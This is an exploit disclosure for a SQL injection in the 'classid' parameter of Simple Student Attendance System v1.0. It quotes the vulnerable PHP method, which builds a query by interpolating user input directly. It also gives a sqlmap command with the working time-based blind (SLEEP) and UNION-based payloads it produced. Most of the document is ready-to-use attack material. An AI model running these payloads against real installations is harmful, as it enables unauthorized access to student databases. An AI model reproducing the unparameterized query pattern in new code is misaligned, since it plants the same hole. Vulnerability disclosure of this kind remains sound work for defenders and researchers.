Simple Student Attendance System v1.0 Time Based Blind & Union Based SQL Injection Vulnerability

# Exploit Title: Simple Student Attendance System v1.0 -  'classid' Time Based Blind & Union Based SQL Injection
# Exploit Author: Gnanaraj Mauviel (@0xm3m)
# Vendor: oretnom23
# Vendor Homepage: https://www.sourcecodester.com/php/17018/simple-student-attendance-system-using-php-and-mysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-attendance.zip
# Version: v1.0
# Tested on: Mac OSX, XAMPP, Apache, MySQL

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Source Code(/php-attendance/classes/actions.class.php):

public function attendanceStudents($class_id = "", $class_date = ""){
if(empty($class_id) || empty($class_date))
return [];
$sql = "SELECT `students_tbl`.*, COALESCE((SELECT `status` FROM `attendance_tbl` where `student_id` = `students_tbl`.id and `class_date` = '{$class_date}' ), 0) as `status` FROM `students_tbl` where `class_id` = '{$class_id}' order by `name` ASC";
$qry = $this->conn->query($sql);
$result = $qry->fetch_all(MYSQLI_ASSOC);
return $result;
}

-> sqlmap -u "http://localhost/php-attendance/?page=attendance&class_id=446&class_date=0002-02-20" --batch
---
Parameter: class_id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=attendance&class_id=446' AND (SELECT 5283 FROM (SELECT(SLEEP(5)))zsWT) AND 'nqTi'='nqTi&class_date=0002-02-20

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: page=attendance&class_id=446' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x7154766a5453645a7a4d497071786a6f4b647a5a6d4162756c72636b4a4555746d555a5a71614d4c,0x71767a7a71),NULL-- -&class_date=0002-02-20
---